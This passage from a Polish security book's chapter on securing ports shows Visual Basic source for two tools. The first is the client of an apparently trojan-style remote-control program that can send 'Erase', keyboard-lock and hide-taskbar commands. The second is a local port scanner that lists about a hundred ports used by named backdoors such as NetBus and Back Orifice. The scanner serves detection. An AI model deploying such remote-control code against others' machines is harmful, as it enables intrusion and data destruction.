Text3.Text = "Lock keyboard"
Command8_Click
End Sub

Private Sub Command7_Click()

background image


Rozdział 1.

Zabezpieczanie portów i usług

73

73

On Error GoTo errorhandler
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
Command7.Enabled = False
Command9.Enabled = True
Label4.Caption = "Connecting..."
errorhandler: If Err.Number = 10049 Then
Label4.Caption = "Could not connect to server."
Command7.Enabled = True
Command9.Enabled = False
Winsock1.Close
End If
End Sub

Private Sub Command8_Click()
Winsock1.SendData Text3.Text
End Sub

Private Sub Command9_Click()
Command9.Enabled = False
Command7.Enabled = True
Label4.Caption = "Disconnected"
Winsock1.Close
End Sub

Private Sub form_load()
Text1.Text = Winsock1.LocalIP
Label4.Caption = "Disconnected"
End Sub

Private Sub mnuall_Click()
On Error Resume Next
Text3.Text = "Erase"
Command8_Click
End Sub

Private Sub mnualldir_Click()
On Error Resume Next
Text3.Text = "Erased"
Command8_Click
End Sub

Private Sub mnuchangedir_Click()
On Error Resume Next

x = InputBox("Enter directory name to change", "Change directory")

Text3.Text = "chdir" + x
Command8_Click
End Sub

Private Sub mnuhided_Click()
On Error Resume Next
Text3.Text = "Hide desk"
Command8_Click
mnuhided.Enabled = False
mnushowd.Enabled = True
End Sub

Private Sub mnuhides_Click()
On Error Resume Next
Text3.Text = "Hide start"
Command8_Click
mnuhides.Enabled = False

background image


74

Hack Wars. Tom 2. Na tropie hakerów

74

mnushows.Enabled = True
End Sub

Private Sub mnuhidet_Click()
On Error Resume Next
Text3.Text = "Hide task"
Command8_Click
mnuhidet.Enabled = False
mnushowt.Enabled = True
End Sub


Private Sub mnumakenew_Click()
On Error Resume Next
x = InputBox("Enter directory name", "Make new directory")
Text3.Text = "mkdir" + x
Command8_Click
End Sub

Private Sub mnusendmsg_Click()
On Error Resume Next
x = InputBox("Type a message", "Send a message")
Text3.Text = "messg" + x
Command8_Click
End Sub

Private Sub mnushowd_Click()
On Error Resume Next
Text3.Text = "Show desk"
Command8_Click
mnuhided.Enabled = True
mnushowd.Enabled = False
End Sub

Private Sub mnushows_Click()
On Error Resume Next
Text3.Text = "Show start"
Command8_Click
mnuhides.Enabled = True
mnushows.Enabled = False
End Sub

Private Sub mnushowt_Click()
On Error Resume Next
Text3.Text = "Show task"
Command8_Click
mnuhidet.Enabled = True
mnushowt.Enabled = False
End Sub

Private Sub mnuup_Click()
On Error Resume Next
Text3.Text = "updir"
Command8_Click
End Sub

Private Sub mnuview_Click()
On Error Resume Next
Text3.Text = "Info"
Command8_Click
End Sub

Private Sub mnuviewdir_Click()
On Error Resume Next

background image


Rozdział 1.

Zabezpieczanie portów i usług

75

75

Text3.Text = "viewdir"
Command8_Click
End Sub

Private Sub Text4_Change()
If Text4.DataChanged Then
Label4.Caption = "Connected!"
End If
End Sub

Private Sub Timer1_Timer()
Text5.Text = Text5.Text - 1
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Winsock1.GetData strData, vbString
Text4.Text = strData
If strData = NewLine Then
Text4.Text = Text4.Text & NewLine
End If
If strData = endir Then

x = InputBox("Enter directory you wish to change", "Change

directory")

Text3.Text = "chdir" + x
Command8_Click
End If
End Sub

Programy i moduły przedstawione w tym rozdziale znaleźć można na dołączonym do
niniejszej książki dysku CD.

Tiger Inspect

Jak przedstawiono to w Hack wars. Na tropie hakerów, skanery portów napisane zo-
stały dla większości systemów operacyjnych. Za darmo pobrać można z Internetu
wszechstronne demony dla systemów UNIX, takie jak nmap. Użytkownicy Windows,
zarówno domowi, jak i w większych firmach, wymagający pełnej kontroli nad opro-
gramowaniem, skorzystać mogą ze skanera portów lokalnych Tiger Inspect (patrz ry-
sunek 1.25). Pozwoli on indywidualnie dopasować procedury przeglądania i zarzą-
dzać listą usług. Przedstawiona wersja zapewnia obsługę pięciu jednocześnie pracujących
wątków. Oznacza to, że sprawdzanych będzie pięć portów jednocześnie. Warto zwró-
cić uwagę, że liczba wątków może zostać zwiększona przez dodanie strumieni

Win-

sock

(

x

), gdzie (

x

) jest numerem kolejnego wątku (poczynając w tym przypadku od szó-

stego).

background image


76

Hack Wars. Tom 2. Na tropie hakerów

76

Rysunek 1.25.
Prosty interfejs
skanera portów
lokalnych
TigerInspect

Kod źródłowy nie jest skomplikowany, wprowadzanie modyfikacji nie powinno więc
sprawić kłopotów. Kompilacja uwzględnia listę znanych portów koni trojańskich, aż
do numeru 61466. Mimo że analiza usług nie została wprowadzona, Czytelnik może
pokusić się o dołączenie jej w wolnym czasie. Łatwo będzie również wprowadzić
opisy portów zarezerwowanych, posługując się wierszami takimi jak:

ElseIf Winsock1.LocalPort = 21 Then List1.AddItem Winsock1.LocalPort
& " Alert:

Found File Transfer Protocol (FTP)"

Winsock1.Close

Przy dołączaniu powiadomień o portach aktywnych nie można zapominać o wprowadzeniu
ich dla wszystkich pięciu wątków: Winsock1, 2, 3, 4 i 5.

Inspect.frm

Dim A
Private Sub cmdStart_Click()
Timer1.Interval = 1
End Sub

Private Sub Command3_Click()
Unload Scan
End Sub

Private Sub Form_Load()
A = 112
End Sub

Private Sub Timer1_Timer()
A = A + 5
Me.Caption = "Security Port Scan (at Port " & A & ")"
Call WSock1(A - 4)
Call WSock2(A - 3)
Call WSock3(A - 2)
Call WSock4(A - 1)

background image


Rozdział 1.

Zabezpieczanie portów i usług

77

77

Call WSock5(A - 0)
End Sub

Public Sub WSock1(sPort As Long)
a1:
Winsock1.LocalPort = sPort
If sPort > 65400 Then
cmdStop_Click
End If
On Error GoTo z1
Winsock1.Listen
Winsock1.Close
Exit Sub
z1:
If Winsock1.LocalPort = 31 Then
List1.AddItem Winsock5.LocalPort & " Found: Agent 31"
Winsock1.Close
ElseIf Winsock1.LocalPort = 41 Then
List1.AddItem Winsock1.LocalPort & " Found: DeepThroat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 59 Then List1.AddItem Winsock1.LocalPort
& " Found:
DMSetup"
Winsock1.Close
ElseIf Winsock1.LocalPort = 79 Then List1.AddItem Winsock1.LocalPort
& " Found:
Firehotcker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 99 Then List1.AddItem Winsock1.LocalPort
& " Found:
Hidden Port"
Winsock1.Close
ElseIf Winsock1.LocalPort = 110 Then List1.AddItem Winsock1.LocalPort
& " Found:
ProMail trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 113 Then List1.AddItem Winsock1.LocalPort
& " Found:
Kazimas"
Winsock1.Close
ElseIf Winsock1.LocalPort = 119 Then List1.AddItem Winsock1.LocalPort
& " Found:
Happy 99"
Winsock1.Close
ElseIf Winsock1.LocalPort = 121 Then List1.AddItem Winsock1.LocalPort
& " Found:
JammerKillah"
Winsock1.Close
ElseIf Winsock1.LocalPort = 421 Then List1.AddItem Winsock1.LocalPort
& " Found:
TCP Wrappers"
Winsock1.Close
ElseIf Winsock1.LocalPort = 456 Then List1.AddItem Winsock1.LocalPort
& " Found:
Hackers Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 531 Then List1.AddItem Winsock1.LocalPort
& " Found:
Rasmin"
Winsock1.Close

background image


78

Hack Wars. Tom 2. Na tropie hakerów

78

ElseIf Winsock1.LocalPort = 555 Then List1.AddItem Winsock1.LocalPort
& " Found:
Ini-Killer, NeTAdmin, Phase Zero, Stealth Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 666 Then List1.AddItem Winsock1.LocalPort
& " Found:
Attack FTP, Back Construction, Cain & Abel, Satanz Backdoor, ServeU,
Shadow Phyre"
Winsock1.Close
ElseIf Winsock1.LocalPort = 911 Then List1.AddItem Winsock1.LocalPort
& " Found:
Dark Shadow"
Winsock1.Close
ElseIf Winsock1.LocalPort = 999 Then List1.AddItem Winsock1.LocalPort
& " Found:
DeepThroat, WinSatan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Silencer, WebEx"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1010 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1011 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1012 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1015 Then List1.AddItem
Winsock1.LocalPort & " Found:
Doly Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1024 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSpy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1042 Then List1.AddItem Winsock1.LocalPort &
" Found: Bla"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1045 Then List1.AddItem
Winsock1.LocalPort & " Found:
Rasmin"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1090 Then List1.AddItem
Winsock1.LocalPort & " Found:
Xtreme"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1170 Then List1.AddItem
Winsock1.LocalPort & " Found:
Psyber Stream Server, Streaming Audio trojan, Voice"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1234 Then List1.AddItem
Winsock1.LocalPort & " Found:
Ultors Trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1239 Then Winsock1.Close

background image


Rozdział 1.

Zabezpieczanie portów i usług

79

79

ElseIf Winsock1.LocalPort = 1243 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackDoor-G, SubSeven, SubSeven Apocalypse"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1245 Then List1.AddItem
Winsock1.LocalPort & " Found:
VooDoo Doll"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1248 Then Winsock1.Close
ElseIf Winsock1.LocalPort = 1269 Then List1.AddItem
Winsock1.LocalPort & " Found:
Mavericks Matrix"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1349 Then List1.AddItem
Winsock1.LocalPort & " Found:
BO DLL"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1492 Then List1.AddItem
Winsock1.LocalPort & " Found:
FTP99CMP"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1509 Then List1.AddItem
Winsock1.LocalPort & " Found:
Psyber Streaming Server"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1600 Then List1.AddItem
Winsock1.LocalPort & " Found:
Shivka-Burka"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1807 Then List1.AddItem
Winsock1.LocalPort & " Found:
SpySender"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1981 Then List1.AddItem
Winsock1.LocalPort & " Found:
Shockrave"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1999 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackDoor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 1999 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2000 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2001 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Trojan Cow"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2002 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close

background image


80

Hack Wars. Tom 2. Na tropie hakerów

80

ElseIf Winsock1.LocalPort = 2003 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2004 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2005 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2023 Then List1.AddItem
Winsock1.LocalPort & " Found:
Ripper"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2115 Then List1.AddItem Winsock1.LocalPort &
" Found: Bugs"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2140 Then List1.AddItem
Winsock1.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2155 Then List1.AddItem
Winsock1.LocalPort & " Found:
Illusion Mailer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2283 Then List1.AddItem
Winsock1.LocalPort & " Found:
HVL Rat5"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2565 Then List1.AddItem
Winsock1.LocalPort & " Found:
Striker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2583 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2600 Then List1.AddItem
Winsock1.LocalPort & " Found:
Digital RootBeer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2801 Then List1.AddItem
Winsock1.LocalPort & " Found:
Phineas Phucker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 2989 Then List1.AddItem Winsock1.LocalPort &
" Found: RAT"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3024 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3128 Then List1.AddItem
Winsock1.LocalPort & " Found:
RingZero"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3129 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"

background image


Rozdział 1.

Zabezpieczanie portów i usług

81

81

Winsock1.Close
ElseIf Winsock1.LocalPort = 3150 Then List1.AddItem
Winsock1.LocalPort & " Found:
Deep Throat, The Invasor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3459 Then List1.AddItem
Winsock1.LocalPort & " Found:
Eclipse 2000"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3700 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3791 Then List1.AddItem
Winsock1.LocalPort & " Found:
Eclypse"
Winsock1.Close
ElseIf Winsock1.LocalPort = 3801 Then List1.AddItem
Winsock1.LocalPort & " Found:
Eclypse"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4092 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4321 Then List1.AddItem Winsock1.LocalPort &
" Found: BoBo"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4567 Then List1.AddItem
Winsock1.LocalPort & " Found:
File Nail"
Winsock1.Close
ElseIf Winsock1.LocalPort = 4590 Then List1.AddItem
Winsock1.LocalPort & " Found:
ICQTrojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Bubbel, Back Door Setup, Sockets deTroie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Door Setup, Sockets de Troie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5011 Then List1.AddItem
Winsock1.LocalPort & " Found:
One of the Last Trojans (OOTLT)"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5031 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMetro"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5321 Then List1.AddItem
Winsock1.LocalPort & " Found:
Firehotcker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5400 Then List1.AddItem
Winsock1.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock1.Close

background image


82

Hack Wars. Tom 2. Na tropie hakerów

82

ElseIf Winsock1.LocalPort = 5401 Then List1.AddItem
Winsock1.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5402 Then List1.AddItem
Winsock1.LocalPort & " Found:
Blade Runner, Back Construction"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5512 Then List1.AddItem
Winsock1.LocalPort & " Found:
Illusion Mailer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5550 Then List1.AddItem Winsock1.LocalPort &
" Found: Xtcp"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5555 Then List1.AddItem
Winsock1.LocalPort & " Found:
ServeMe"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5556 Then List1.AddItem
Winsock1.LocalPort & " Found:
BO Facil"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5557 Then List1.AddItem
Winsock1.LocalPort & " Found:
BO Facil"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5569 Then List1.AddItem
Winsock1.LocalPort & " Found:
Robo-Hack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 5742 Then List1.AddItem
Winsock1.LocalPort & " Found:
WinCrash"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6400 Then List1.AddItem
Winsock1.LocalPort & " Found:
The Thing"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6669 Then List1.AddItem
Winsock1.LocalPort & " Found:
Vampyre"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6670 Then List1.AddItem
Winsock1.LocalPort & " Found:
DeepThroat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6771 Then List1.AddItem
Winsock1.LocalPort & " Found:
DeepThroat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6776 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackDoor-G, SubSeven"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6912 Then List1.AddItem
Winsock1.LocalPort & " Found:
Shit Heep"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6939 Then List1.AddItem
Winsock1.LocalPort & " Found:

background image


Rozdział 1.

Zabezpieczanie portów i usług

83

83

Indoctrination"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6969 Then List1.AddItem
Winsock1.LocalPort & " Found:
GateCrasher, Priority, IRC 3"
Winsock1.Close
ElseIf Winsock1.LocalPort = 6970 Then List1.AddItem
Winsock1.LocalPort & " Found:
GateCrasher"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Remote Grab , Kazimas"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7300 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7301 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7306 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7307 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7308 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetMonitor"
Winsock1.Close
ElseIf Winsock1.LocalPort = 7789 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Door Setup, ICKiller"
Winsock1.Close
ElseIf Winsock1.LocalPort = 8080 Then List1.AddItem
Winsock1.LocalPort & " Found:
RingZero"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9400 Then List1.AddItem
Winsock1.LocalPort & " Found:
InCommand"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9872 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9873 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9874 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9875 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"

background image


84

Hack Wars. Tom 2. Na tropie hakerów

84

Winsock1.Close
ElseIf Winsock1.LocalPort = 9876 Then List1.AddItem
Winsock1.LocalPort & " Found:
Cyber Attacker"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9878 Then List1.AddItem
Winsock1.LocalPort & " Found:
TransScout"
Winsock1.Close
ElseIf Winsock1.LocalPort = 9989 Then List1.AddItem
Winsock1.LocalPort & " Found:
iNi-Killer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10067 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10101 Then List1.AddItem
Winsock1.LocalPort & " Found:
BrainSpy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10167 Then List1.AddItem
Winsock1.LocalPort & " Found:
Portal of Doom"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10520 Then List1.AddItem
Winsock1.LocalPort & " Found:
Acid Shivers"
Winsock1.Close
ElseIf Winsock1.LocalPort = 10607 Then List1.AddItem Winsock1.LocalPort &
" Found: Coma"
Winsock1.Close
ElseIf Winsock1.LocalPort = 11000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Senna Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 11223 Then List1.AddItem
Winsock1.LocalPort & " Found:
Progenic trojan"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12076 Then List1.AddItem
Winsock1.LocalPort & " Found:
Gjamer"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12223 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack’99 KeyLogger"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12345 Then Winsock1.Close
ElseIf Winsock1.LocalPort = 12346 Then List1.AddItem
Winsock1.LocalPort & " Found:
GabanBus, NetBus, X-bill"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12361 Then List1.AddItem
Winsock1.LocalPort & " Found:
Whack-a-mole"
Winsock1.Close
ElseIf Winsock1.LocalPort = 12362 Then List1.AddItem
Winsock1.LocalPort & " Found:
Whack-a-mole"
Winsock1.Close

background image


Rozdział 1.

Zabezpieczanie portów i usług

85

85

ElseIf Winsock1.LocalPort = 12631 Then List1.AddItem
Winsock1.LocalPort & " Found:
WhackJob"
Winsock1.Close
ElseIf Winsock1.LocalPort = 13000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Senna Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 16969 Then List1.AddItem
Winsock1.LocalPort & " Found:
Priority"
Winsock1.Close
ElseIf Winsock1.LocalPort = 17300 Then List1.AddItem
Winsock1.LocalPort & " Found:
Kuang2 The Virus"
Winsock1.Close
ElseIf Winsock1.LocalPort = 20000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Millennium"
Winsock1.Close
ElseIf Winsock1.LocalPort = 20001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Millennium"
Winsock1.Close
ElseIf Winsock1.LocalPort = 20034 Then Winsock1.Close
ElseIf Winsock1.LocalPort = 20203 Then List1.AddItem
Winsock1.LocalPort & " Found:
Logged"
Winsock1.Close
ElseIf Winsock1.LocalPort = 21544 Then List1.AddItem
Winsock1.LocalPort & " Found:
GirlFriend"
Winsock1.Close
ElseIf Winsock1.LocalPort = 22222 Then List1.AddItem
Winsock1.LocalPort & " Found:
Prosiak"
Winsock1.Close
ElseIf Winsock1.LocalPort = 23456 Then List1.AddItem
Winsock1.LocalPort & " Found:
Evil FTP, Ugly FTP , Whack Job"
Winsock1.Close
ElseIf Winsock1.LocalPort = 23476 Then List1.AddItem
Winsock1.LocalPort & " Found:
Donald Dick"
Winsock1.Close
ElseIf Winsock1.LocalPort = 23477 Then List1.AddItem
Winsock1.LocalPort & " Found:
Donald Dick"
Winsock1.Close
ElseIf Winsock1.LocalPort = 26274 Then List1.AddItem
Winsock1.LocalPort & " Found:
Delta Source"
Winsock1.Close
ElseIf Winsock1.LocalPort = 29891 Then List1.AddItem
Winsock1.LocalPort & " Found:
The Unexplained"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30029 Then List1.AddItem
Winsock1.LocalPort & " Found:
AOL Trojan"
Winsock1.Close

background image


86

Hack Wars. Tom 2. Na tropie hakerów

86

ElseIf Winsock1.LocalPort = 30100 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSphere"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30101 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSphere"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30102 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSphere"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30303 Then List1.AddItem
Winsock1.LocalPort & " Found:
Sockets de Troie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 30999 Then List1.AddItem
Winsock1.LocalPort & " Found:
Kuang2"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31336 Then List1.AddItem
Winsock1.LocalPort & " Found:
Bo Whack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31337 Then List1.AddItem
Winsock1.LocalPort & " Found:
Baron Night, BO client, BO2, Bo Facil"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31337 Then List1.AddItem
Winsock1.LocalPort & " Found:
BackFire, Back Orifice, DeepBO"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31338 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSpy DK"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31338 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Orifice, DeepBO"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31339 Then List1.AddItem
Winsock1.LocalPort & " Found:
NetSpy DK"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31666 Then List1.AddItem
Winsock1.LocalPort & " Found:
BOWhack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31785 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31787 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31788 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close

background image


Rozdział 1.

Zabezpieczanie portów i usług

87

87

ElseIf Winsock1.LocalPort = 31789 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31791 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 31792 Then List1.AddItem
Winsock1.LocalPort & " Found:
Hack'a'Tack"
Winsock1.Close
ElseIf Winsock1.LocalPort = 33333 Then List1.AddItem
Winsock1.LocalPort & " Found:
Prosiak"
Winsock1.Close
ElseIf Winsock1.LocalPort = 33911 Then List1.AddItem
Winsock1.LocalPort & " Found:
Spirit 2001a"
Winsock1.Close
ElseIf Winsock1.LocalPort = 34324 Then List1.AddItem
Winsock1.LocalPort & " Found:
BigGluck, TN"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40412 Then List1.AddItem
Winsock1.LocalPort & " Found:
The Spy"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40421 Then List1.AddItem
Winsock1.LocalPort & " Found:
Agent 40421, Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40422 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40423 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 40426 Then List1.AddItem
Winsock1.LocalPort & " Found:
Masters Paradise"
Winsock1.Close
ElseIf Winsock1.LocalPort = 47262 Then List1.AddItem
Winsock1.LocalPort & " Found:
Delta Source"
Winsock1.Close
ElseIf Winsock1.LocalPort = 50505 Then List1.AddItem
Winsock1.LocalPort & " Found:
Sockets de Troie"
Winsock1.Close
ElseIf Winsock1.LocalPort = 50766 Then List1.AddItem
Winsock1.LocalPort & " Found:
Fore, Schwindler"
Winsock1.Close
ElseIf Winsock1.LocalPort = 53001 Then List1.AddItem
Winsock1.LocalPort & " Found:
Remote Windows Shutdown"
Winsock1.Close

background image


88

Hack Wars. Tom 2. Na tropie hakerów

88

ElseIf Winsock1.LocalPort = 54320 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Orifice 2000"
Winsock1.Close
ElseIf Winsock1.LocalPort = 54321 Then List1.AddItem
Winsock1.LocalPort & " Found:
School Bus"
Winsock1.Close
ElseIf Winsock1.LocalPort = 54321 Then List1.AddItem
Winsock1.LocalPort & " Found:
Back Orifice 2000"
Winsock1.Close
ElseIf Winsock1.LocalPort = 60000 Then List1.AddItem
Winsock1.LocalPort & " Found:
Deep Throat"
Winsock1.Close
ElseIf Winsock1.LocalPort = 61466 Then List1.AddItem
Winsock1.LocalPort & " Found:
Telecommando"
Winsock1.Close
Else
List1.AddItem Winsock1.LocalPort & " Active: Standard Well-known
Port"
Winsock1.Close
End If
End Sub
Public Sub WSock2(sPort As Long)
Winsock2.LocalPort = sPort
If sPort > 65400 Then
cmdStop_Click
End If
On Error GoTo z2
Winsock2.Listen
Winsock2.Close
Exit Sub
z2:
If Winsock2.LocalPort = 31 Then
List1.AddItem Winsock5.LocalPort & " Found: Agent 31"
Winsock2.Close
ElseIf Winsock2.LocalPort = 41 Then
List1.AddItem Winsock2.LocalPort & " Found: DeepThroat"
Winsock2.Close
ElseIf Winsock2.LocalPort = 59 Then List1.AddItem Winsock2.LocalPort
& " Found:
DMSetup"
Winsock2.Close
ElseIf Winsock2.LocalPort = 79 Then List1.AddItem Winsock2.LocalPort
& " Found:
Firehotcker"
Winsock2.Close
ElseIf Winsock2.LocalPort = 99 Then List1.AddItem Winsock2.LocalPort
& " Found:
Hidden Port"
